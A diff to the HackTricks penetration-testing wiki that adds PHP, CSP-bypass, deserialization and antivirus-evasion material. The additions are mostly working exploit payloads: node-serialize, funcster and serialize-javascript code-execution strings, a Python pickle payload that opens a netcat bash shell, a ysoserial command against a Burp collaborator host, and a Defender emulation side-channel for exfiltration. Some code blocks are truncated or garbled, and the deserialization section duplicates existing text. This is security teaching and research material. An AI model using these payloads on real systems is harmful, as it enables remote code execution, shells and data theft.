(Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540) - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md index 278569b33..da9ec5748 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md @@ -1,4 +1,4 @@ -# PHP - RCE abusing object creation: new $\_GET\["a"]\($\_GET\["b"]) +# PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"]) {{#include ../../../banners/hacktricks-training.md}} @@ -97,11 +97,34 @@ It's noted that PHP temporarily stores uploaded files in `/tmp/phpXXXXXX`. The V A method described in the [**original writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) involves uploading files that trigger a server crash before deletion. By brute-forcing the name of the temporary file, it becomes possible for Imagick to execute arbitrary PHP code. However, this technique was found to be effective only in an outdated version of ImageMagick. +## Format-string in class-name resolution (PHP 7.0.0 Bug #71105) + +When user input controls the class name (e.g., `new $_GET['model']()`), PHP 7.0.0 introduced a transient bug during the `Throwable` refactor where the engine mistakenly treated the class name as a printf format string during resolution. This enables classic printf-style primitives inside PHP: leaks with `%p`, write-count control with width specifiers, and arbitrary writes with `%n` against in-process pointers (for example, GOT entries on ELF builds). + +Minimal repro vulnerable pattern: + +```php +d%$n` to land the partial overwrite. + ## References - [https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) -{{#include ../../../banners/hacktricks-training.md}} - - - +{{#include ../../../banners/hacktricks-training.md}} \ No newline at end of file diff --git a/src/pentesting-web/content-security-policy-csp-bypass/README.md b/src/pentesting-web/content-security-policy-csp-bypass/README.md index 1103d2624..ea004eef0 100644 --- a/src/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/src/pentesting-web/content-security-policy-csp-bypass/README.md @@ -693,6 +693,27 @@ Then, the technique consists basically in **filling the response buffer with war Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points). +### Kill CSP via max_input_vars (headers already sent) + +Because headers must be sent before any output, warnings emitted by PHP can invalidate later `header()` calls. If user input exceeds `max_input_vars`, PHP throws a startup warning first; any subsequent `header('Content-Security-Policy: ...')` will fail with “headers already sent”, effectively disabling CSP and allowing otherwise-blocked reflective XSS. + +```php +" + +# Exceed max_input_vars to force warnings before header() → CSP stripped +curl -i "http://orange.local/?xss=&A=1&A=2&...&A=1000" +# Warning: PHP Request Startup: Input variables exceeded 1000 ... +# Warning: Cannot modify header information - headers already sent +``` + ### Rewrite Error Page From [**this writeup**](https://blog.ssrf.kr/69) it looks like it was possible to bypass a CSP protection by loading an error page (potentially without CSP) and rewriting its content. @@ -837,6 +858,7 @@ navigator.credentials.store( - [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/) - [https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/](https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/) - [https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket](https://cside.dev/blog/weaponized-google-oauth-triggers-malicious-websocket) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ​ diff --git a/src/pentesting-web/deserialization/README.md b/src/pentesting-web/deserialization/README.md index 03ddc8fc8..08b02f21f 100644 --- a/src/pentesting-web/deserialization/README.md +++ b/src/pentesting-web/deserialization/README.md @@ -178,6 +178,211 @@ As soon as the admin viewed the entry, the object was instantiated and `SomeClas --- +# Deserialization + + + +## Basic Information + +**Serialization** is understood as the method of converting an object into a format that can be preserved, with the intent of either storing the object or transmitting it as part of a communication process. This technique is commonly employed to ensure that the object can be recreated at a later time, maintaining its structure and state. + +**Deserialization**, conversely, is the process that counteracts serialization. It involves taking data that has been structured in a specific format and reconstructing it back into an object. + +Deserialization can be dangerous because it potentially **allows attackers to manipulate the serialized data to execute harmful code** or cause unexpected behavior in the application during the object reconstruction process. + +## PHP + +In PHP, specific magic methods are utilized during the serialization and deserialization processes: + +- `__sleep`: Invoked when an object is being serialized. This method should return an array of the names of all properties of the object that should be serialized. It's commonly used to commit pending data or perform similar cleanup tasks. +- `__wakeup`: Called when an object is being deserialized. It's used to reestablish any database connections that may have been lost during serialization and perform other reinitialization tasks. +- `__unserialize`: This method is called instead of `__wakeup` (if it exists) when an object is being deserialized. It gives more control over the deserialization process compared to `__wakeup`. +- `__destruct`: This method is called when an object is about to be destroyed or when the script ends. It's typically used for cleanup tasks, like closing file handles or database connections. +- `__toString`: This method allows an object to be treated as a string. It can be used for reading a file or other tasks based on the function calls within it, effectively providing a textual representation of the object. + +```php +s.'
'; + } + public function __toString() + { + echo '__toString method called'; + } + public function __construct(){ + echo "__construct method called"; + } + public function __destruct(){ + echo "__destruct method called"; + } + public function __wakeup(){ + echo "__wakeup method called"; + } + public function __sleep(){ + echo "__sleep method called"; + return array("s"); #The "s" makes references to the public attribute + } +} + +$o = new test(); +$o->displaystring(); +$ser=serialize($o); +$unser=unserialize($ser); +$unser->displaystring(); +``` + +If you look to the results you can see that the functions **`__wakeup`** and **`__destruct`** are called when the object is deserialized. Note that in several tutorials you will find that the **`__toString`** function is called when trying yo print some attribute, but apparently that's **not happening anymore**. + +> [!WARNING] +> The method **`__unserialize(array $data)`** is called **instead of `__wakeup()`** if it is implemented in the class. It allows you to unserialize the object by providing the serialized data as an array. You can use this method to unserialize properties and perform any necessary tasks upon deserialization. +> +> ```php +> class MyClass { +> private $property; +> +> public function __unserialize(array $data): void { +> $this->property = $data['property']; +> // Perform any necessary tasks upon deserialization. +> } +> } +> ``` + +You can read an explained **PHP example here**: [https://www.notsosecure.com/remote-code-execution-via-php-unserialize/](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/), here [https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf) or here [https://securitycafe.ro/2015/01/05/understanding-php-object-injection/](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/) + +### PHP Deserial + Autoload Classes + +You could abuse the PHP autoload functionality to load arbitrary php files and more: + + +{{#ref}} +php-deserialization-+-autoload-classes.md +{{#endref}} + +### Serializing Referenced Values + +If for some reason you want to serialize a value as a **reference to another value serialized** you can: + +```php +param1 =& $o->param22; +$o->param = "PARAM"; +$ser=serialize($o); +``` + +### Preventing PHP Object Injection with `allowed_classes` + +> [!INFO] +> Support for the **second argument** of `unserialize()` (the `$options` array) was added in **PHP 7.0**. On older versions the function only accepts the serialized string, making it impossible to restrict which classes may be instantiated. + +`unserialize()` will **instantiate every class** it finds inside the serialized stream unless told otherwise. Since PHP 7 the behaviour can be restricted with the [`allowed_classes`](https://www.php.net/manual/en/function.unserialize.php) option: + +```php +// NEVER DO THIS – full object instantiation +$object = unserialize($userControlledData); + +// SAFER – disable object instantiation completely +$object = unserialize($userControlledData, [ + 'allowed_classes' => false // no classes may be created +]); + +// Granular – only allow a strict white-list of models +$object = unserialize($userControlledData, [ + 'allowed_classes' => [MyModel::class, DateTime::class] +]); +``` + +If **`allowed_classes` is omitted _or_ the code runs on PHP < 7.0**, the call becomes **dangerous** as an attacker can craft a payload that abuses magic methods such as `__wakeup()` or `__destruct()` to achieve Remote Code Execution (RCE). + +#### Real-world example: Everest Forms (WordPress) CVE-2025-52709 + +The WordPress plugin **Everest Forms ≤ 3.2.2** tried to be defensive with a helper wrapper but forgot about legacy PHP versions: + +```php +function evf_maybe_unserialize($data, $options = array()) { + if (is_serialized($data)) { + if (version_compare(PHP_VERSION, '7.1.0', '>=')) { + // SAFE branch (PHP ≥ 7.1) + $options = wp_parse_args($options, array('allowed_classes' => false)); + return @unserialize(trim($data), $options); + } + // DANGEROUS branch (PHP < 7.1) + return @unserialize(trim($data)); + } + return $data; +} +``` + +On servers that still ran **PHP ≤ 7.0** this second branch led to a classic **PHP Object Injection** when an administrator opened a malicious form submission. A minimal exploit payload could look like: + +``` +O:8:"SomeClass":1:{s:8:"property";s:28:"";} +``` + +As soon as the admin viewed the entry, the object was instantiated and `SomeClass::__destruct()` got executed, resulting in arbitrary code execution. + +**Take-aways** +1. Always pass `['allowed_classes' => false]` (or a strict white-list) when calling `unserialize()`. +2. Audit defensive wrappers – they often forget about the legacy PHP branches. +3. Upgrading to **PHP ≥ 7.x** alone is *not* sufficient: the option still needs to be supplied explicitly. + +--- + +### WordPress behaviours: maybe_unserialize() and object smuggling + +WordPress automatically attempts to unserialize any string that “looks serialized” via `maybe_unserialize()`: + +```php +function maybe_unserialize($original) { + if (is_serialized($original)) + return @unserialize($original); + return $original; +} +``` + +Two practical exploitation patterns from large plugin ecosystems: + +- Serialize-then-replace: mutating serialized blobs using string ops (e.g., `str_replace()`) desynchronizes type/length pairs and allows smuggling of unexpected objects. + +```php +// 1) craft payload +$user = 'orange'; +$pass = ';s:8:"password";O:4:"Evil":0:{}s:8:"realname";s:5:"pwned'; +$name = 'Orange Tsai' . str_repeat('..', 25); +$obj = new User($user, $pass, $name); +$data = serialize($obj); + +// 2) developer mutates serialized blob +$data = str_replace("..", "", $data); + +// 3) length corruption → 'password' becomes Evil object on unserialize +print_r(unserialize($data)); +``` + +- Double-prepare SQLi side-effect: calling `$wpdb->prepare()` twice lets format tokens be reinterpreted (restores SQLi). WordPress mitigates by hiding `%` with placeholders that are later restored; if such placeholders travel inside serialized blobs, restoring them can corrupt lengths and lead to unexpected `unserialize()` with POP gadgets (PHPGGC). + +```php +$value = "%1$%s OR 1=1--#"; +$clause = $wpdb->prepare(" AND value = %s", $value); +$query = $wpdb->prepare("SELECT col FROM table WHERE key = %s $clause", $key); +``` + +### Bypassing `__wakeup()` guards + +- Engine quirk: PHP Bug [#72663](https://bugs.php.net/bug.php?id=72663) shows edge cases where `__wakeup()` can be skipped, breaking defenses that moved checks there. +- Reference-based tricks: gadget chains that set dangerous properties by reference so that a defensive `__wakeup()` that nulls properties does not neutralize the actual data used later in `__destruct()`. + +### "Holy Grail" deserialization: memory-level primitives + +Research progressed from early zval forgery to PHP 7 heap primitives and real UAFs (e.g., Bug [#68942](https://bugs.php.net/bug.php?id=68942)), demonstrating that the core should not be treated as a security boundary: once a serialization bug crosses into memory corruption, object injection can be escalated to RCE without application gadgets. + ### PHPGGC (ysoserial for PHP) [**PHPGGC**](https://github.com/ambionics/phpggc) can help you generating payloads to abuse PHP deserializations.\ @@ -272,6 +477,292 @@ test_then() If you want to learn about this technique **take a look to the following tutorial**: +{{#ref}} +nodejs-proto-prototype-pollution/ +{{#endref}} + +### [node-serialize](https://www.npmjs.com/package/node-serialize) + +This library allows to serialise functions. Example: + +```javascript +var y = { + rce: function () { + require("child_process").exec("ls /", function (error, stdout, stderr) { + console.log(stdout) + }) + }, +} +var serialize = require("node-serialize") +var payload_serialized = serialize.serialize(y) +console.log("Serialized: \n" + payload_serialized) +``` + +The **serialised object** will looks like: + +```bash +{"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"} +``` + +You can see in the example that when a function is serialized the `_$$ND_FUNC$$_` flag is appended to the serialized object. + +Inside the file `node-serialize/lib/serialize.js` you can find the same flag and how the code is using it. + +![](<../../images/image (351).png>) + +![](<../../images/image (446).png>) + +As you may see in the last chunk of code, **if the flag is found** `eval` is used to deserialize the function, so basically **user input if being used inside the `eval` function**. + +However, **just serialising** a function **won't execute it** as it would be necessary that some part of the code is **calling `y.rce`** in our example and that's highly **unlikable**.\ +Anyway, you could just **modify the serialised object** **adding some parenthesis** in order to auto execute the serialized function when the object is deserialized.\ +In the next chunk of code **notice the last parenthesis** and how the `unserialize` function will automatically execute the code: + +```javascript +var serialize = require("node-serialize") +var test = { + rce: "_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()", +} +serialize.unserialize(test) +``` + +As it was previously indicated, this library will get the code after`_$$ND_FUNC$$_` and will **execute it** using `eval`. Therefore, in order to **auto-execute code** you can **delete the function creation** part and the last parenthesis and **just execute a JS oneliner** like in the following example: + +```javascript +var serialize = require("node-serialize") +var test = + "{\"rce\":\"_$$ND_FUNC$$_require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })\"}" +serialize.unserialize(test) +``` + +You can [**find here**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/) **further information** about how to exploit this vulnerability. + +### [funcster](https://www.npmjs.com/package/funcster) + +A noteworthy aspect of **funcster** is the inaccessibility of **standard built-in objects**; they fall outside the accessible scope. This restriction prevents the execution of code that attempts to invoke methods on built-in objects, leading to exceptions such as `"ReferenceError: console is not defined"` when commands like `console.log()` or `require(something)` are used. + +Despite this limitation, restoration of full access to the global context, including all standard built-in objects, is possible through a specific approach. By leveraging the global context directly, one can bypass this restriction. For instance, access can be re-established using the following snippet: + +```javascript +funcster = require("funcster") +//Serialization +var test = funcster.serialize(function () { + return "Hello world!" +}) +console.log(test) // { __js_function: 'function(){return"Hello world!"}' } + +//Deserialization with auto-execution +var desertest1 = { __js_function: 'function(){return "Hello world!}()' } +funcster.deepDeserialize(desertest1) +var desertest2 = { + __js_function: 'this.constructor.constructor("console.log(1111)")()', +} +funcster.deepDeserialize(desertest2) +var desertest3 = { + __js_function: + "this.constructor.constructor(\"require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\")()", +} +funcster.deepDeserialize(desertest3) +``` + +**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** + +### [**serialize-javascript**](https://www.npmjs.com/package/serialize-javascript) + +The **serialize-javascript** package is designed exclusively for serialization purposes, lacking any built-in deserialization capabilities. Users are responsible for implementing their own method for deserialization. A direct use of `eval` is suggested by the official example for deserializing serialized data: + +```javascript +function deserialize(serializedJavascript) { + return eval("(" + serializedJavascript + ")") +} +``` + +If this function is used to deserialize objects you can **easily exploit it**: + +```javascript +var serialize = require("serialize-javascript") +//Serialization +var test = serialize(function () { + return "Hello world!" +}) +console.log(test) //function() { return "Hello world!" } + +//Deserialization +var test = + "function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) }); }()" +deserialize(test) +``` + +**For**[ **more information read this source**](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)**.** + +### Cryo library + +In the following pages you can find information about how to abuse this library to execute arbitrary commands: + +- [https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/) +- [https://hackerone.com/reports/350418](https://hackerone.com/reports/350418) + +## Java - HTTP + +In Java, **deserialization callbacks are executed during the process of deserialization**. This execution can be exploited by attackers who craft malicious payloads that trigger these callbacks, leading to potential execution of harmful actions. + +### Fingerprints + +#### White Box + +To identify potential serialization vulnerabilities in the codebase search for: + +- Classes that implement the `Serializable` interface. +- Usage of `java.io.ObjectInputStream`, `readObject`, `readUnshare` functions. + +Pay extra attention to: + +- `XMLDecoder` utilized with parameters defined by external users. +- `XStream`'s `fromXML` method, especially if the XStream version is less than or equal to 1.46, as it is susceptible to serialization issues. +- `ObjectInputStream` coupled with the `readObject` method. +- Implementation of methods such as `readObject`, `readObjectNodData`, `readResolve`, or `readExternal`. +- `ObjectInputStream.readUnshared`. +- General use of `Serializable`. + +#### Black Box + +For black box testing, look for specific **signatures or "Magic Bytes"** that denote java serialized objects (originating from `ObjectInputStream`): + +- Hexadecimal pattern: `AC ED 00 05`. +- Base64 pattern: `rO0`. +- HTTP response headers with `Content-type` set to `application/x-java-serialized-object`. +- Hexadecimal pattern indicating prior compression: `1F 8B 08 00`. +- Base64 pattern indicating prior compression: `H4sIA`. +- Web files with the `.faces` extension and the `faces.ViewState` parameter. Discovering these patterns in a web application should prompt an examination as detailed in the [post about Java JSF ViewState Deserialization](java-jsf-viewstate-.faces-deserialization.md). + +``` +javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s +``` + +### Check if vulnerable + +If you want to **learn about how does a Java Deserialized exploit work** you should take a look to [**Basic Java Deserialization**](basic-java-deserialization-objectinputstream-readobject.md), [**Java DNS Deserialization**](java-dns-deserialization-and-gadgetprobe.md), and [**CommonsCollection1 Payload**](java-transformers-to-rutime-exec-payload.md). + +#### White Box Test + +You can check if there is installed any application with known vulnerabilities. + +```bash +find . -iname "*commons*collection*" +grep -R InvokeTransformer . +``` + +You could try to **check all the libraries** known to be vulnerable and that [**Ysoserial** ](https://github.com/frohoff/ysoserial)can provide an exploit for. Or you could check the libraries indicated on [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json).\ +You could also use [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) to search for possible gadget chains that can be exploited.\ +When running **gadgetinspector** (after building it) don't care about the tons of warnings/errors that it's going through and let it finish. It will write all the findings under _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_. Please, notice that **gadgetinspector won't create an exploit and it may indicate false positives**. + +#### Black Box Test + +Using the Burp extension [**gadgetprobe**](java-dns-deserialization-and-gadgetprobe.md) you can identify **which libraries are available** (and even the versions). With this information it could be **easier to choose a payload** to exploit the vulnerability.\ +[**Read this to learn more about GadgetProbe**](java-dns-deserialization-and-gadgetprobe.md#gadgetprobe)**.**\ +GadgetProbe is focused on **`ObjectInputStream` deserializations**. + +Using Burp extension [**Java Deserialization Scanner**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner) you can **identify vulnerable libraries** exploitable with ysoserial and **exploit** them.\ +[**Read this to learn more about Java Deserialization Scanner.**](java-dns-deserialization-and-gadgetprobe.md#java-deserialization-scanner)\ +Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations. + +You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\ +[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/) + +**Serialization Test** + +Not all is about checking if any vulnerable library is used by the server. Sometimes you could be able to **change the data inside the serialized object and bypass some checks** (maybe grant you admin privileges inside a webapp).\ +If you find a java serialized object being sent to a web application, **you can use** [**SerializationDumper**](https://github.com/NickstaDB/SerializationDumper) **to print in a more human readable format the serialization object that is sent**. Knowing which data are you sending would be easier to modify it and bypass some checks. + +### **Exploit** + +#### **ysoserial** + +The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\ +Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\ +I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is. + +```bash +# PoC to make the application perform a DNS req +java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload +``` + +### **Pickle** + +When the object gets unpickle, the function \_\_\_reduce\_\_\_ will be executed.\ +When exploited, server could return an error. + +```python +import pickle, os, base64 +class P(object): + def __reduce__(self): + return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",)) +print(base64.b64encode(pickle.dumps(P()))) +``` + +Before checking the bypass technique, try using `print(base64.b64encode(pickle.dumps(P(),2)))` to generate an object that is compatible with python2 if you're running python3. + +For more information about escaping from **pickle jails** check: + + +{{#ref}} +../../generic-methodologies-and-resources/python/bypass-python-sandboxes/ +{{#endref}} + +### Yaml **&** jsonpickle + +The following page present the technique to **abuse an unsafe deserialization in yamls** python libraries and finishes with a tool that can be used to generate RCE deserialization payload for **Pickle, PyYAML, jsonpickle and ruamel.yaml**: + + +{{#ref}} +python-yaml-deserialization.md +{{#endref}} + +### Class Pollution (Python Prototype Pollution) + + +{{#ref}} +../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md +{{#endref}} + +## NodeJS + +### JS Magic Functions + +JS **doesn't have "magic" functions** like PHP or Python that are going to be executed just for creating an object. But it has some **functions** that are **frequently used even without directly calling them** such as **`toString`**, **`valueOf`**, **`toJSON`**.\ +If abusing a deserialization you can **compromise these functions to execute other code** (potentially abusing prototype pollutions) you could execute arbitrary code when they are called. + +Another **"magic" way to call a function** without calling it directly is by **compromising an object that is returned by an async function** (promise). Because, if you **transform** that **return object** in another **promise** with a **property** called **"then" of type function**, it will be **executed** just because it's returned by another promise. _Follow_ [_**this link**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _for more info._ + +```javascript +// If you can compromise p (returned object) to be a promise +// it will be executed just because it's the return object of an async function: +async function test_resolve() { + const p = new Promise((resolve) => { + console.log("hello") + resolve() + }) + return p +} + +async function test_then() { + const p = new Promise((then) => { + console.log("hello") + return 1 + }) + return p +} + +test_ressolve() +test_then() +//For more info: https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/ +``` + +### `__proto__` and `prototype` pollution + +If you want to learn about this technique **take a look to the following tutorial**: + + {{#ref}} nodejs-proto-prototype-pollution/ {{#endref}} @@ -732,6 +1223,7 @@ The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect - JMET talk: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA) - Slides: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) ## .Net @@ -1148,4 +1640,3 @@ Industrialized gadget discovery: - Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/ {{#include ../../banners/hacktricks-training.md}} - diff --git a/src/pentesting-web/file-inclusion/README.md b/src/pentesting-web/file-inclusion/README.md index 7221852ae..1078dfb9a 100644 --- a/src/pentesting-web/file-inclusion/README.md +++ b/src/pentesting-web/file-inclusion/README.md @@ -753,6 +753,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._ - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#file}} EN-Local-File-Inclusion-1.pdf diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md index 9e1520284..21a05698d 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md @@ -260,6 +260,7 @@ function find_vals($init_val) { ## More References - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md index 8aad67ab6..065168fd3 100644 --- a/src/pentesting-web/file-upload/README.md +++ b/src/pentesting-web/file-upload/README.md @@ -166,6 +166,10 @@ Note that **another option** you may be thinking of to bypass this check is to m - [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) is a powerful tool designed to assist Pentesters and Bug Hunters in testing file upload mechanisms. It leverages various bug bounty techniques to simplify the process of identifying and exploiting vulnerabilities, ensuring thorough assessments of web applications. +### Corrupting upload indices with snprintf quirks (historical) + +Some legacy upload handlers that use `snprintf()` or similar to build multi-file arrays from a single-file upload can be tricked into forging the `_FILES` structure. Due to inconsistencies and truncation in `snprintf()` behavior, a carefully crafted single upload can appear as multiple indexed files on the server side, confusing logic that assumes a strict shape (e.g., treating it as a multi-file upload and taking unsafe branches). While niche today, this “index corruption” pattern occasionally resurfaces in CTFs and older codebases. + ## From File upload to other vulnerabilities - Set **filename** to `../../../tmp/lol.png` and try to achieve a **path traversal** @@ -335,5 +339,6 @@ How to avoid file type detections by uploading a valid JSON file even if not all - [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) - [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) - [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html) +- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/av-bypass.md b/src/windows-hardening/av-bypass.md index 4fefb8dc1..1b0f2dc01 100644 --- a/src/windows-hardening/av-bypass.md +++ b/src/windows-hardening/av-bypass.md @@ -356,56 +356,23 @@ autotok.sh Confused.exe # wrapper that performs the 3 steps above sequentially - [**Nimcrypt**](https://github.com/icyguider/nimcrypt): Nimcrypt is a .NET PE Crypter written in Nim - [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor is able to convert existing EXE/DLL into shellcode and then load them -## SmartScreen & MoTW +## AVOracle – Defender emulation side‑channel (exfiltration) -You may have seen this screen when downloading some executables from the internet and executing them. +Windows Defender will emulate files that “look like JavaScript.” If the emulated evaluation produces the EICAR signature string, the file is deleted/quarantined. By crafting mixed content where attacker-controlled JS reads unknown content and conditionally appends to the EICAR string, the deletion becomes a 1‑bit oracle that leaks secrets. -Microsoft Defender SmartScreen is a security mechanism intended to protect the end user against running potentially malicious applications. +Minimal PoC concept: -
- -SmartScreen mainly works with a reputation-based approach, meaning that uncommonly download applications will trigger SmartScreen thus alerting and preventing the end user from executing the file (although the file can still be executed by clicking More Info -> Run anyway). - -**MoTW** (Mark of The Web) is an [NTFS Alternate Data Stream]() with the name of Zone.Identifier which is automatically created upon download files from the internet, along with the URL it was downloaded from. - -

Checking the Zone.Identifier ADS for a file downloaded from the internet.

- -> [!TIP] -> It's important to note that executables signed with a **trusted** signing certificate **won't trigger SmartScreen**. - -A very effective way to prevent your payloads from getting the Mark of The Web is by packaging them inside some sort of container like an ISO. This happens because Mark-of-the-Web (MOTW) **cannot** be applied to **non NTFS** volumes. - -
- -[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) is a tool that packages payloads into output containers to evade Mark-of-the-Web. - -Example usage: - -```bash -PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso - -+ o + o + o + o - + o + + o + + - o + + + o + + o --_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o - :: PACK MY PAYLOAD (1.1.0) -_-_-_-_-_-_-| /\_/\ - for all your container cravings -_-_-_-_-_-~|__( ^ .^) + + --_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' '' -+ o o + o + o o + o -+ o + o ~ Mariusz Banach / mgeeky o -o ~ + ~ - o + o + + - -[.] Packaging input file to output .iso (iso)... -Burning file onto ISO: - Adding file: /TotallyLegitApp.exe - -[+] Generated file written to (size: 3420160): container.iso +```js +// sample.txt – treated as JS by Defender’s emulator +var mal = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE"; +// Append '!' only if the first byte of secret matches expectation +var c = document.body.innerHTML[0] == 'A' ? '!' : ''; +eval(mal + c); ``` -Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using [PackMyPayload](https://github.com/mgeeky/PackMyPayload/) +If the condition is true, the emulator sees the full EICAR string and deletes/quarantines the file → signal = 1. Otherwise the file survives → signal = 0. Repeating with different predicates reconstructs the secret data (HTML variant shown above; similar tricks apply to JS on disk). -
